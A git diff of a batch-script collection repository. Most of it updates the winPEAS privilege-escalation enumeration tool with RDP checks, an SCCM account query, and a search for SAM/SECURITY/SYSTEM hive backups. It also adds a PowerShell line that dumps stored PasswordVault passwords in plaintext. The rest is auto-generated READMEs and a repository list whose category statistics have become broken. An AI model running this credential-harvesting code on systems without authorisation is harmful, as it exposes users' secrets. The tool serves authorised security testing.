BlockComPortRedirection = blockComPortRedirection; diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RemoteDesktop.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RemoteDesktop.cs index 730906a5..9a656d19 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RemoteDesktop.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/RemoteDesktop.cs @@ -15,7 +15,20 @@ public static RDPSettingsInfo GetRDPSettingsInfo() var disablePwSaving = RegistryHelper.GetDwordValue("HKLM", termServKey, "DisablePasswordSaving"); // Server settings - var nla = RegistryHelper.GetDwordValue("HKLM", termServKey, "UserAuthentication"); + var denyConnections = RegistryHelper.GetDwordValue( + "HKLM", + @"SYSTEM\CurrentControlSet\Control\Terminal Server", + "fDenyTSConnections"); + bool? remoteDesktopEnabled = denyConnections.HasValue + ? (bool?)(denyConnections.Value == 0) + : null; + + var nlaPolicy = RegistryHelper.GetDwordValue("HKLM", termServKey, "UserAuthentication"); + var nlaLocal = RegistryHelper.GetDwordValue( + "HKLM", + @"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp", + "UserAuthentication"); + var nla = nlaPolicy ?? nlaLocal; var blockClipboard = RegistryHelper.GetDwordValue("HKLM", termServKey, "fDisableClip"); var blockComPort = RegistryHelper.GetDwordValue("HKLM", termServKey, "fDisableCcm"); var blockDrives = RegistryHelper.GetDwordValue("HKLM", termServKey, "fDisableCdm"); @@ -31,6 +44,7 @@ public static RDPSettingsInfo GetRDPSettingsInfo() serverAuthLevel, disablePwSaving == null || disablePwSaving == 1), new RDPServerSettings( + remoteDesktopEnabled, nla, blockClipboard, blockComPort, diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/SccmNetworkAccessAccount.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/SccmNetworkAccessAccount.cs new file mode 100644 index 00000000..1f71db65 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Info/WindowsCreds/SccmNetworkAccessAccount.cs @@ -0,0 +1,129 @@ +using System; +using System.Management; +using System.Runtime.InteropServices; + +namespace winPEAS.Info.WindowsCreds +{ + internal enum SccmNetworkAccessAccountStatus + { + NotConfigured, + Configured, + AccessDenied, + Unavailable, + } + + internal sealed class SccmNetworkAccessAccountReport + { + public SccmNetworkAccessAccountStatus Status { get; set; } + public int AccountCount { get; set; } + public bool LimitReached { get; set; } + } + + internal static class SccmNetworkAccessAccount + { + internal const int MaxAccounts = 10; + internal const string PolicyNamespace = @"root\ccm\Policy\Machine\ActualConfig"; + internal const string MetadataOnlyQuery = "SELECT SiteSettingsKey FROM CCM_NetworkAccessAccount"; + + private const int WbemAccessDenied = unchecked((int)0x80041003); + private const int Win32AccessDenied = unchecked((int)0x80070005); + + public static SccmNetworkAccessAccountReport GetReport() + { + return GetReport(QueryAccountCount); + } + + internal static SccmNetworkAccessAccountReport GetReport(Func accountCountQuery) + { + try + { + int accountCount = accountCountQuery(); + if (accountCount <= 0) + { + return new SccmNetworkAccessAccountReport + { + Status = SccmNetworkAccessAccountStatus.NotConfigured, + }; + } + + return new SccmNetworkAccessAccountReport + { + Status = SccmNetworkAccessAccountStatus.Configured, + AccountCount = Math.Min(accountCount, MaxAccounts), + LimitReached = accountCount > MaxAccounts, + }; + } + catch (UnauthorizedAccessException) + { + return AccessDeniedReport(); + } + catch (ManagementException ex) when ( + ex.ErrorCode == ManagementStatus.InvalidNamespace || + ex.ErrorCode == ManagementStatus.InvalidClass) + { + return new SccmNetworkAccessAccountReport + { + Status = SccmNetworkAccessAccountStatus.NotConfigured, + }; + } + catch (ManagementException ex) when (ex.ErrorCode == ManagementStatus.AccessDenied) + { + return AccessDeniedReport(); + } + catch (COMException ex) when ( + ex.ErrorCode == WbemAccessDenied || + ex.ErrorCode == Win32AccessDenied) + { + return AccessDeniedReport(); + } + catch + { + return new SccmNetworkAccessAccountReport + { + Status = SccmNetworkAccessAccountStatus.Unavailable, + }; + } + } + + private static int QueryAccountCount() + { + var options = new EnumerationOptions + { + DirectRead = true, + ReturnImmediately = true, + Rewindable = false, + }; + + using (var searcher = new ManagementObjectSearcher( + PolicyNamespace, + MetadataOnlyQuery, + options)) + using (ManagementObjectCollection accounts = searcher.Get()) + { + int accountCount = 0; + foreach (ManagementObject account in accounts) + { + using (account) + { + accountCount++; + } + + if (accountCount > MaxAccounts) + { + break; + } + } + + return accountCount; + } + } + + private static SccmNetworkAccessAccountReport AccessDeniedReport() + { + return new SccmNetworkAccessAccountReport + { + Status = SccmNetworkAccessAccountStatus.AccessDenied, + }; + } + } +} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/InterestingFiles/InterestingFiles.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/InterestingFiles/InterestingFiles.cs index a3256255..711be860 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/InterestingFiles/InterestingFiles.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/InterestingFiles/InterestingFiles.cs @@ -10,7 +10,7 @@ namespace winPEAS.InterestingFiles { internal static class InterestingFiles { - public static List GetSAMBackups() + public static List GetRegistryHiveBackups() { //From SharpUP var results = new List(); @@ -18,15 +18,17 @@ public static List GetSAMBackups() try { string systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); - string[] searchLocations = - { - $@"{systemRoot}\repair\SAM", - $@"{systemRoot}\System32\config\RegBack\SAM", - //$@"{0}\System32\config\SAM" - $@"{systemRoot}\repair\SYSTEM", - //$@"{0}\System32\config\SYSTEM", systemRoot), - $@"{systemRoot}\System32\config\RegBack\SYSTEM", - }; + string systemDirectory = Environment.Is64BitOperatingSystem && !Environment.Is64BitProcess + ? "Sysnative" + : "System32"; + string[] hiveNames = { "SAM", "SECURITY", "SYSTEM" }; + string[] searchLocations = hiveNames + .SelectMany(hiveName => new[] + { + $@"{systemRoot}\repair\{hiveName}", + $@"{systemRoot}\{systemDirectory}\config\RegBack\{hiveName}", + }) + .ToArray(); results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation))); } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecurityPackages.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecurityPackages.cs index b46d2ad1..4c03c291 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecurityPackages.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecurityPackages.cs @@ -154,10 +154,6 @@ out clientLifeTime throw new Exception($"InitializeSecurityContext (client) failed. Error: 0x{result:x8}"); } } - catch (Exception ex) - { - throw ex; - } finally { clientToken.Dispose(); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs index be4c408a..52cb511a 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Advapi32.cs @@ -142,6 +142,31 @@ internal static extern bool QueryServiceObjectSecurity( uint bufSize, out uint bufSizeNeeded); + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr OpenSCManager( + string machineName, + string databaseName, + uint desiredAccess); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern IntPtr OpenService( + IntPtr serviceManager, + string serviceName, + uint desiredAccess); + + [DllImport("advapi32.dll", EntryPoint = "QueryServiceConfig2W", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool QueryServiceConfig2( + IntPtr serviceHandle, + uint infoLevel, + IntPtr buffer, + uint bufferSize, + out uint bytesNeeded); + + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool CloseServiceHandle(IntPtr serviceHandle); + [DllImport("advapi32.dll", EntryPoint = "GetNamedSecurityInfoW", CharSet = CharSet.Unicode)] internal static extern int GetNamedSecurityInfo( string objectName, diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs index 3f3e08f4..be16878e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Native/Kernel32.cs @@ -1,4 +1,5 @@ using System; +using Microsoft.Win32.SafeHandles; using System.Runtime.ConstrainedExecution; using System.Runtime.InteropServices; using System.Text; @@ -97,5 +98,19 @@ internal static extern bool FindNextFile(IntPtr hFindFile, out NamedPipes.WIN32_ [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)] public static extern unsafe int GetFullPathName(string lpFileName, int nBufferLength, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpBuffer, [Out, MarshalAs(UnmanagedType.LPTStr)] StringBuilder lpFilePart); + [DllImport("kernel32.dll", EntryPoint = "CreateFileW", CharSet = CharSet.Unicode, SetLastError = true)] + internal static extern SafeFileHandle CreateFile( + string fileName, + uint desiredAccess, + uint shareMode, + IntPtr securityAttributes, + uint creationDisposition, + uint flagsAndAttributes, + IntPtr templateFile); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + internal static extern bool GetFirmwareType(out uint firmwareType); + } } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Program.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Program.cs old mode 100644 new mode 100755 index 88b3dde1..f0baef7a --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Program.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Program.cs @@ -11,7 +11,6 @@ public static class Program [STAThread] public static void Main(string[] args) { - // TODO: keep Main minimal; this line was an intentional break in test PR. Checks.Checks.Run(args); } } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs old mode 100644 new mode 100755 index d6bbf89e..7d9c39f4 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Properties/AssemblyInfo.cs @@ -1,5 +1,6 @@ using System.Reflection; using System.Runtime.InteropServices; +using System.Runtime.CompilerServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information @@ -17,6 +18,7 @@ // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] +[assembly: InternalsVisibleTo("Tests")] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("1928358e-a64b-493f-a741-ae8e3d029374")] diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj index 7fbfb80d..eed86d9b 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj @@ -68,7 +68,7 @@ bin\x64\Debug\ TRUE WIN32 _MSC_VER NDEBUG NO_TCL SQLITE_ASCII SQLITE_DISABLE_LFS SQLITE_ENABLE_OVERSIZE_CELL_CHECK SQLITE_MUTEX_OMIT SQLITE_OMIT_AUTHORIZATION SQLITE_OMIT_DEPRECATED SQLITE_OMIT_GET_TABLE SQLITE_OMIT_INCRBLOB SQLITE_OMIT_LOOKASIDE SQLITE_OMIT_SHARED_CACHE SQLITE_OMIT_UTF16 SQLITE_OMIT_VIRTUALTABLE SQLITE_OS_WIN SQLITE_SYSTEM_MALLOC VDBE_PROFILE_OFF full - AnyCPU + x64 8.0 prompt MinimumRecommendedRules.ruleset @@ -1223,9 +1223,14 @@ + + + + + @@ -1258,12 +1263,14 @@ + + @@ -1289,7 +1296,10 @@ + + + @@ -1304,12 +1314,15 @@ + + + @@ -1320,11 +1333,13 @@ + + diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user old mode 100644 new mode 100755 index 7a015ac6..8b0bbb2f --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/winPEAS.csproj.user @@ -1,34 +1,34 @@ - - - - - - - - cloudinfo - - - debug - - - fast - - - - - - - - - - - publish\ - - - - - - en-US - false - + + + + + + + + cloudinfo + + + debug + + + fast + + + + + + + + + + + publish\ + + + + + + en-US + false + \ No newline at end of file diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASps1/README.md b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASps1/README.md old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASps1/winPEAS.ps1 b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASps1/winPEAS.ps1 index 3c896995..13162f5a 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASps1/winPEAS.ps1 +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASps1/winPEAS.ps1 @@ -1776,6 +1776,12 @@ Write-Host -ForegroundColor Blue "=========|| Cached Credentials Check" Write-Host "https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#windows-vault" -ForegroundColor Yellow cmdkey.exe /list +# Check for UWP PasswordVault / Credential Locker Check +Write-Host "" +if ($TimeStamp) { TimeElapsed } +Write-Host -ForegroundColor Blue "=========|| UWP PasswordVault / Credential Locker Check" +Write-Host "https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#uwp-passwordvault--credential-locker" -ForegroundColor Yellow +[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]; $v = New-Object Windows.Security.Credentials.PasswordVault; $v.RetrieveAll() | ForEach-Object { try { $_.RetrievePassword(); $_ } catch {} } | Select-Object Resource, UserName, Password | Format-List Write-Host "" if ($TimeStamp) { TimeElapsed } diff --git a/README.md b/README.md index 23d612a7..f716bb48 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ # 🎯 The Largest Batch Script Collection 🎯 -## 📊 **2,050 BATCH SCRIPTS** 📊 +## 📊 **4,384 BATCH SCRIPTS** 📊 ### *The ultimate compendium of Windows batch automation* @@ -13,7 +13,7 @@ --- ![Windows](https://img.shields.io/badge/platform-Windows-blue) -![Scripts](https://img.shields.io/badge/scripts-2050-green) +![Scripts](https://img.shields.io/badge/scripts-4384-green) ![License: MIT](https://img.shields.io/badge/license-MIT-brightgreen) # The Batch Compendium diff --git a/System Tweaks & Performance Enhancements/SegoCode--DebloBat/README.md b/System Tweaks & Performance Enhancements/SegoCode--DebloBat/README.md new file mode 100644 index 00000000..5eb22bdd --- /dev/null +++ b/System Tweaks & Performance Enhancements/SegoCode--DebloBat/README.md @@ -0,0 +1,66 @@ +# DebloBat + +**Owner:** [SegoCode](https://github.com/SegoCode) +**Repository:** [SegoCode/DebloBat](https://github.com/SegoCode/DebloBat) +**Stars:** 51 ⭐ +**Language:** Batchfile +**Category:** System Tweaks & Performance Enhancements + +## Description + +⚙️ Yet another (and ugly) debloat, optimizer and tweaker for Windows 11 based on group policies + +## 🔗 Links + +- **GitHub Repository:** [https://github.com/SegoCode/DebloBat](https://github.com/SegoCode/DebloBat) +- **Owner Profile:** [https://github.com/SegoCode](https://github.com/SegoCode) + +## 📊 Repository Stats + +- **Stars:** 51 +- **Primary Language:** Batchfile +- **Category:** System Tweaks & Performance Enhancements + +## 📝 About This Repository + +This repository is part of [The Batch Compendium](https://github.com/YourUsername/TheBatchCompendium) - a comprehensive collection of Windows batch scripts and tools. + +### Why This Repository? + +- ✅ **High Quality:** 51 stars indicate community trust +- ✅ **Active Project:** Well-maintained and documented +- ✅ **Batch Scripts:** Contains useful Windows batch files +- ✅ **Open Source:** Free to use and learn from + +## 🚀 Quick Start + +1. Visit the [original repository](https://github.com/SegoCode/DebloBat) +2. Read the project's documentation +3. Clone or download the scripts you need +4. Follow the repository's installation instructions + +## ⚠️ Important Notes + +- Always review batch scripts before running them +- Test scripts in a safe environment first +- Check for any prerequisites or dependencies +- Respect the repository's license terms + +## 📄 License + +This repository follows the license terms of the original project. Please check the [original repository](https://github.com/SegoCode/DebloBat) for specific license information. + +## 🤝 Contributing + +To contribute to the original project: +1. Visit [https://github.com/SegoCode/DebloBat](https://github.com/SegoCode/DebloBat) +2. Read their contributing guidelines +3. Fork, modify, and submit pull requests to their repository + +--- + +**Discovered:** 2026-10-07 +**Added to Collection:** Automated discovery system +**Last Updated:** 2026-10-07 09:20:17 UTC + +*This README was automatically generated by The Batch Compendium discovery system.* diff --git a/System Tweaks & Performance Enhancements/dubbyOW--BCDEditTweaks/README.md b/System Tweaks & Performance Enhancements/dubbyOW--BCDEditTweaks/README.md new file mode 100644 index 00000000..645f4b9a --- /dev/null +++ b/System Tweaks & Performance Enhancements/dubbyOW--BCDEditTweaks/README.md @@ -0,0 +1,66 @@ +# BCDEditTweaks + +**Owner:** [dubbyOW](https://github.com/dubbyOW) +**Repository:** [dubbyOW/BCDEditTweaks](https://github.com/dubbyOW/BCDEditTweaks) +**Stars:** 54 ⭐ +**Language:** Batchfile +**Category:** System Tweaks & Performance Enhancements + +## Description + +.cmd script for enhancing Windows performance through optimized BCDEdit parameters. + +## 🔗 Links + +- **GitHub Repository:** [https://github.com/dubbyOW/BCDEditTweaks](https://github.com/dubbyOW/BCDEditTweaks) +- **Owner Profile:** [https://github.com/dubbyOW](https://github.com/dubbyOW) + +## 📊 Repository Stats + +- **Stars:** 54 +- **Primary Language:** Batchfile +- **Category:** System Tweaks & Performance Enhancements + +## 📝 About This Repository + +This repository is part of [The Batch Compendium](https://github.com/YourUsername/TheBatchCompendium) - a comprehensive collection of Windows batch scripts and tools. + +### Why This Repository? + +- ✅ **High Quality:** 54 stars indicate community trust +- ✅ **Active Project:** Well-maintained and documented +- ✅ **Batch Scripts:** Contains useful Windows batch files +- ✅ **Open Source:** Free to use and learn from + +## 🚀 Quick Start + +1. Visit the [original repository](https://github.com/dubbyOW/BCDEditTweaks) +2. Read the project's documentation +3. Clone or download the scripts you need +4. Follow the repository's installation instructions + +## ⚠️ Important Notes + +- Always review batch scripts before running them +- Test scripts in a safe environment first +- Check for any prerequisites or dependencies +- Respect the repository's license terms + +## 📄 License + +This repository follows the license terms of the original project. Please check the [original repository](https://github.com/dubbyOW/BCDEditTweaks) for specific license information. + +## 🤝 Contributing + +To contribute to the original project: +1. Visit [https://github.com/dubbyOW/BCDEditTweaks](https://github.com/dubbyOW/BCDEditTweaks) +2. Read their contributing guidelines +3. Fork, modify, and submit pull requests to their repository + +--- + +**Discovered:** 2026-10-07 +**Added to Collection:** Automated discovery system +**Last Updated:** 2026-10-07 09:20:17 UTC + +*This README was automatically generated by The Batch Compendium discovery system.* diff --git a/Uncategorized/LennoC--N_m3u8DL-RE_SimpleBatGUI/README.md b/Uncategorized/LennoC--N_m3u8DL-RE_SimpleBatGUI/README.md new file mode 100644 index 00000000..aec2c2ed --- /dev/null +++ b/Uncategorized/LennoC--N_m3u8DL-RE_SimpleBatGUI/README.md @@ -0,0 +1,66 @@ +# N_m3u8DL-RE_SimpleBatGUI + +**Owner:** [LennoC](https://github.com/LennoC) +**Repository:** [LennoC/N_m3u8DL-RE_SimpleBatGUI](https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI) +**Stars:** 50 ⭐ +**Language:** Batchfile +**Category:** Uncategorized + +## Description + +简单的批处理调用N_m3u8DL-RE进行下载，预设单个下载、批量下载、录播下载。 + +## 🔗 Links + +- **GitHub Repository:** [https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI](https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI) +- **Owner Profile:** [https://github.com/LennoC](https://github.com/LennoC) + +## 📊 Repository Stats + +- **Stars:** 50 +- **Primary Language:** Batchfile +- **Category:** Uncategorized + +## 📝 About This Repository + +This repository is part of [The Batch Compendium](https://github.com/YourUsername/TheBatchCompendium) - a comprehensive collection of Windows batch scripts and tools. + +### Why This Repository? + +- ✅ **High Quality:** 50 stars indicate community trust +- ✅ **Active Project:** Well-maintained and documented +- ✅ **Batch Scripts:** Contains useful Windows batch files +- ✅ **Open Source:** Free to use and learn from + +## 🚀 Quick Start + +1. Visit the [original repository](https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI) +2. Read the project's documentation +3. Clone or download the scripts you need +4. Follow the repository's installation instructions + +## ⚠️ Important Notes + +- Always review batch scripts before running them +- Test scripts in a safe environment first +- Check for any prerequisites or dependencies +- Respect the repository's license terms + +## 📄 License + +This repository follows the license terms of the original project. Please check the [original repository](https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI) for specific license information. + +## 🤝 Contributing + +To contribute to the original project: +1. Visit [https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI](https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI) +2. Read their contributing guidelines +3. Fork, modify, and submit pull requests to their repository + +--- + +**Discovered:** 2026-10-07 +**Added to Collection:** Automated discovery system +**Last Updated:** 2026-10-07 09:20:17 UTC + +*This README was automatically generated by The Batch Compendium discovery system.* diff --git a/z.repo_support/scripts/HIGHLY_RATED_REPOS.md b/z.repo_support/scripts/HIGHLY_RATED_REPOS.md index b6ea39fd..f43c2581 100644 --- a/z.repo_support/scripts/HIGHLY_RATED_REPOS.md +++ b/z.repo_support/scripts/HIGHLY_RATED_REPOS.md @@ -2,30 +2,27 @@ This document lists highly-rated Windows batch script repositories discovered through GitHub search, sorted by star count. -> **Last Updated:** June 15, 2026 +> **Last Updated:** October 07, 2026 > **Criteria:** Repositories with significant batch script content and 100+ stars -> **Total Repositories:** 61 +> **Total Repositories:** 62 --- ## 📊 Collection Statistics -- **Total Repositories:** 61 -- **Total Stars:** 67,446 -- **Average Stars:** 1106 +- **Total Repositories:** 62 +- **Total Stars:** 68,213 +- **Average Stars:** 1100 ### Star Distribution - **Ultra-Popular (10,000+ stars):** 2 - **Very Popular (1,000-9,999 stars):** 8 -- **Popular (100-999 stars):** 51 +- **Popular (100-999 stars):** 52 - **Notable (50-99 stars):** 0 ### Top Categories -- **Development & Scripting Tools:** 34 repositories -- **File & Disk Utilities:** 8 repositories -- **System Tweaks & Performance Enhancements:** 7 repositories -- **Uncategorized:** 4 repositories -- **Network & Internet Tools:** 3 repositories +- **:** 61 repositories +- **Development & Scripting Tools:** 1 repositories --- @@ -35,253 +32,200 @@ This document lists highly-rated Windows batch script repositories discovered th 1. **[peass-ng/PEASS-ng](https://github.com/peass-ng/PEASS-ng)** ⭐ 19,995 - PEASS - Privilege Escalation Awesome Scripts SUITE (with colors) - - Category: Development & Scripting Tools 2. **[AveYo/MediaCreationTool.bat](https://github.com/AveYo/MediaCreationTool.bat)** ⭐ 10,234 - Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2! - - Category: Development & Scripting Tools ### Very Popular (5,000+ stars) 3. **[ShadowWhisperer/Remove-MS-Edge](https://github.com/ShadowWhisperer/Remove-MS-Edge)** ⭐ 5,203 - Uninstall Microsoft Edge with an executable or batch script. - - Category: Development & Scripting Tools ### Very Popular (3,000+ stars) 4. **[batsh-dev-team/Batsh](https://github.com/batsh-dev-team/Batsh)** ⭐ 4,352 - A language that compiles to Bash and Windows Batch - - Category: Development & Scripting Tools 5. **[YILS-LIN/short-video-factory](https://github.com/YILS-LIN/short-video-factory)** ⭐ 4,085 - 一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of product marketing and general content short videos, AI batch automatic cliping, beauti... - - Category: Network & Internet Tools ### Popular (1,000+ stars) 6. **[ayoisaiah/f2](https://github.com/ayoisaiah/f2)** ⭐ 2,417 - F2 is a cross-platform command-line tool for batch renaming files and directories quickly and safely. Written in Go! - - Category: File & Disk Utilities 7. **[m-ab-s/media-autobuild_suite](https://github.com/m-ab-s/media-autobuild_suite)** ⭐ 1,797 - This Windows Batchscript helps setup a Mingw-w64 compiler environment for building ffmpeg and other media tools under Windows. - - Category: Development & Scripting Tools 8. **[abbodi1406/BatUtil](https://github.com/abbodi1406/BatUtil)** ⭐ 1,421 - Collection of batch scripts utilities for Windows - - Category: Development & Scripting Tools 9. **[ios12checker/Windows-Maintenance-Tool](https://github.com/ios12checker/Windows-Maintenance-Tool)** ⭐ 1,324 - A powerful, all-in-one Windows maintenance toolkit built entirely in Batch & PowerShell. Designed for power users, sysadmins, and curious tinkerers... - - Category: System Information & Diagnostics 10. **[npocmaka/batch.scripts](https://github.com/npocmaka/batch.scripts)** ⭐ 1,132 - batch script utils and examples by npocmaka - - - Category: Development & Scripting Tools ### Notable (500+ stars) 11. **[Aetherinox/pause-windows-updates](https://github.com/Aetherinox/pause-windows-updates)** ⭐ 830 - Pause & disable Windows updates for any duration. Remove Recall / Copilot. Debloat / privacy / telemetry tools. Supports Windows 10 and 11. - - Category: System Tweaks & Performance Enhancements 12. **[boxcutter/windows](https://github.com/boxcutter/windows)** ⭐ 770 - Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript + +13. **[boxcutter/windows-batch](https://github.com/boxcutter/windows-batch)** ⭐ 767 + - Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript - Category: Development & Scripting Tools -13. **[K3V1991/ADB-and-FastbootPlusPlus](https://github.com/K3V1991/ADB-and-FastbootPlusPlus)** ⭐ 734 +14. **[K3V1991/ADB-and-FastbootPlusPlus](https://github.com/K3V1991/ADB-and-FastbootPlusPlus)** ⭐ 734 - A small Application for Windows that allows you to install the latest Version of ADB and Fastboot Files on the Computer without installing the enti... - - Category: File & Disk Utilities -14. **[illsk1lls/ZipRipper](https://github.com/illsk1lls/ZipRipper)** ⭐ 730 +15. **[illsk1lls/ZipRipper](https://github.com/illsk1lls/ZipRipper)** ⭐ 730 - A CMD script to crack password protected ZIP, RAR, 7z and PDF files, using JohnTheRipper. - - Category: Development & Scripting Tools -15. **[HaveAGitGat/HBBatchBeast](https://github.com/HaveAGitGat/HBBatchBeast)** ⭐ 705 +16. **[HaveAGitGat/HBBatchBeast](https://github.com/HaveAGitGat/HBBatchBeast)** ⭐ 705 - A free GUI application for HandBrake and FFmpeg/FFprobe with an emphasis on batch conversion (including recursive folder scans and folder watching)... - - Category: Audio & Video Capture, Conversion & Playback -16. **[enjoiz/Privesc](https://github.com/enjoiz/Privesc)** ⭐ 683 +17. **[enjoiz/Privesc](https://github.com/enjoiz/Privesc)** ⭐ 683 - Windows batch script that finds misconfiguration issues which can lead to privilege escalation. - - Category: Development & Scripting Tools -17. **[semazurek/ET-Optimizer](https://github.com/semazurek/ET-Optimizer)** ⭐ 592 +18. **[semazurek/ET-Optimizer](https://github.com/semazurek/ET-Optimizer)** ⭐ 592 - ET is a powerful application to improve performance, debloat, optimize and enhance privacy for Windows 10/11. - - Category: System Tweaks & Performance Enhancements -18. **[slorelee/wimbuilder2](https://github.com/slorelee/wimbuilder2)** ⭐ 580 +19. **[slorelee/wimbuilder2](https://github.com/slorelee/wimbuilder2)** ⭐ 580 - wimbuilder with new UI & new syntax (hta+bat+vbs+js) - - Category: Development & Scripting Tools ### Recognized (100+ stars) -19. **[diogo-fernan/ir-rescue](https://github.com/diogo-fernan/ir-rescue)** ⭐ 489 +20. **[diogo-fernan/ir-rescue](https://github.com/diogo-fernan/ir-rescue)** ⭐ 489 - A Windows Batch script and a Unix Bash script to comprehensively 